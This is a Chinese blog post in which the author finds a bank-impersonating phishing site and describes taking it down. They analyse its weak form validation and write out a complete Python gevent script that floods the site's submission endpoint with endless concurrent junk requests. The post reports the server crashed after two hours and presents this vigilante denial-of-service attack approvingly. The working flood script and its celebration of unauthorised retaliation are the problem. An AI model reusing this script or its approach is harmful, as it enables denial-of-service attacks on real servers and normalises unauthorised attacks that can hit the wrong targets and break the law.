题海中激战,正当不亦乐乎时,手机响了。低头一看,是 95599 的短信:

尊敬的农行用户,您的账户积分累计现可兑换价值 1024 元现金大礼包!请手机登陆 wap.abchyd.com 进行领取!【农业银行】

1024 元?哼!这个数还挺整,但一看就是诈骗短信:哪有银行的域名长得和天书一样?更何况,我又没有农行的账户。

正待删除时,一个念头划过脑海,指尖悬停在屏幕上方。

突然想起昨天在 Freebuf 上看到的一篇文章,说是一个黑帽把臭名昭著的“10086 诈骗”给调戏了一番,在其数据库里填满了垃圾。Freebuf 上许多黑技术我从来都是可望而不可即,唯独这个比较简单——不就是写个脚本嘛,几分钟的事。既然他骗人骗到我这里来了,何不好好调戏一下呢?

果断打开电脑,打开 Chrome,输入网址,映入眼帘的是一个表单(网站已被黑掉因此就没有图了,好吧我错了),要求用户填写 银行卡、密码、手机号还有一个逼格很高的验证码。

F12 分析,发现对各个字段的校验仅仅局限于长度的检查,连格式检查都没有。至于验证码,随便填写四个数字就可以通过了(真是弱爆了,好吗!)。表单提交后跳转到一个有菊花加载圈的页面——说是“稍等,切勿关闭页面”,但其实这个页面并不会跳转,也不会有其他的操作,只有那个菊花一直在转。扫一眼地址栏,发现是asp结尾——这又给了我不小的鼓励(这里并没有黑微软的意思, ASP 是十年前的产物,放在现在可以说是弱的不行了)。

该怎么调戏呢?一个想法飞快地在脑海中产生——对了,就用高并发的垃圾数据拖爆它的数据库吧。这类钓鱼网站通常都是 IIS 6.0 + ASP + SQL SERVER,并且还是单机服务器,并发度一高机器很容易就垮了。

简单地写了一个脚本:

#! /usr/bin/python

import gevent.monkey
gevent.monkey.patch_all()
import gevent
import urllib2, urllib
from uuid import uuid1

def fuck():
id = str(uuid1())[:16]
print 'fucking', id
try:
urllib2.urlopen('http://www.abchyd.com/add_1.asp', urllib.urlencode({
'logonCardNum': id,
'netType': '111111',
'tel': '12345678900',
'randomId': '1234'
}))
except:
pass

print 'fucking', id, 'ok'

while True:
gevent.joinall([gevent.spawn(fuck) for _ in range(100)])

这里用 gevent 将 Socket 由阻塞型改装为协程型,以提高请求的并发度。

接着,关掉所有的图形界面,只开一个终端(为了节省内存),运行 ./fuckit.py。哈哈哈,受死吧!

用平板再次打开该网址(电脑已经跑不起浏览器了),可以发现网站已经明显慢了下来,时不时还会有 500 错误。

两个小时后。

当我再次访问网站时,它已经完全当机了。用nmap扫了一遍,也没有端口活着了。一台邪恶的服务器就这样被干掉了。

但我知道,这样的服务器,在世界上还存在着许多许多。曾经有段时间,不断遇到域名为 www.10086xxx.com 的诈骗网站。常常是一个域名被封了,另一个域名便冒出来,可见诈骗者拥有海量的资源。

这次的攻击只是一次游戏,一次尝试,得以成功只是因为对方太弱了。

真正的网络攻防战,远不止如此。